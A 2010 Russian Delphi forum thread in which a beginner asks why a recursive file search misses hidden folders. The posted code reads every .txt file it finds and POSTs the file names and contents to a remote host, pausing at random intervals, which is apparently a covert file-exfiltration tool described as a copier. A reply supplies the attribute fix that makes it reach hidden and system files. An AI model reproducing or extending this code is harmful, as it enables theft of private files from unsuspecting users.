Форум по Delphi программированию

Delphi Sources



Вернуться   Форум по Delphi программированию > Все о Delphi > [ "Начинающим" ]
Ник
Пароль
Регистрация <<         Правила форума         >> FAQ Пользователи Календарь Поиск Сообщения за сегодня Все разделы прочитаны

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
  #1  
Старый 11.02.2010, 04:06
dm77 dm77 вне форума
Прохожий
 
Регистрация: 11.02.2010
Сообщения: 1
Репутация: 10
По умолчанию Вопрос по Поиску

Суть в том чтобы программа нашла файл по имени во всех директориях и скопировала из этих директорий все файлы с определенным расширением.
Программа работает, но только если папка не является скрытой, как только для папки выставляю атрибут "Скрытая" программа ничего не находит. В Делфи плохо разбираюсь, уже голову сломал. Помогите с заковыркой. Код:
Код:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
procedure Send_all(Way:String);
 
begin
 
 try
 If FindFirst(Way+'*.txt',faAnyFile-faDirectory,TS)=0 then
 
      repeat
 
        If TS.Name<>'name.txt' Then
        begin
          //
          try
            ZeroMemory(@szBuf, SizeOf(szBuf)); //обнуляем массив
            lstrcpy(szBuf, PChar('fname='+TS.name+folder.name+'&data='));
            lstrcat(szBuf, ((GetFileData(PChar(Way+TS.name)))));
            SendPOSTData(Host,
              Path,
                szBuf);
            except end;
 
           end;
 
            until FindNext(TS) <> 0;
           FindClose(TS);
 except end;
 
 
end;
 
 
function Search():string;
var p:string;
    c:char;
//Рекурсивный поиск файлов
function FindFile(var path:string; const mask:string):boolean;
var SRec:TSearchRec;
    retval:integer;
    oldlen:integer;
begin Result:=true;
      oldlen:=length(path);
      retval:=FindFirst(path+mask,$3F,SRec);    //faAnyFile
      while retval=0 do begin
    if ((SRec.Attr and $18)=0)then begin           //faDirectory or faVolumeID
           Send_all(path);
          end;
         if Wait>0 then sleep(random(wait*1000));
    retval:=FindNext(SRec)
      end;
      FindClose(SRec);
      if not Result then exit;
      retval:=FindFirst(path+'*.*',$10,SRec);   //faDirectory
      while retval=0 do begin
    if (SRec.Attr and $10)<>0 then          //faDirectory
      if (SRec.Name<>'.')and(SRec.Name<>'..') then begin
        path:=path+SRec.Name+'\';
 
 
 
        if (not FindFile(path,mask)) then begin
          Result:=false;
          Break;
        end;
        delete(path,oldlen+1,255)
      end;
    retval:=FindNext(SRec);
      end;
      FindClose(SRec);
end;
Admin: Пользуемся тегами!

Последний раз редактировалось Admin, 11.02.2010 в 10:40.
Ответить с цитированием
  #2  
Старый 11.02.2010, 18:05
Аватар для KOOL
KOOL KOOL вне форума
Активный
 
Регистрация: 06.01.2008
Адрес: Рязань
Сообщения: 306
Версия Delphi: 2009
Репутация: 6150
По умолчанию

попробуй так:
Код:
1
If FindFirst(Way+'*.txt',faAnyFile+faHidden+faSysFile-faDirectory,TS)=0 then
скрытые файлы вроде как ищет, с папками не пробовал
__________________
РГРТУ - ФВТ - Системы Автоматизированного ПРоектирования. ت
Ответить с цитированием
Ответ


Delphi Sources

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB-коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход


Часовой пояс GMT +3, время: 22:58.


 

Сайт

Форум

FAQ

Соглашения

Прочее

 

Copyright © Форум "Delphi Sources" by BrokenByte Software, 2004-2025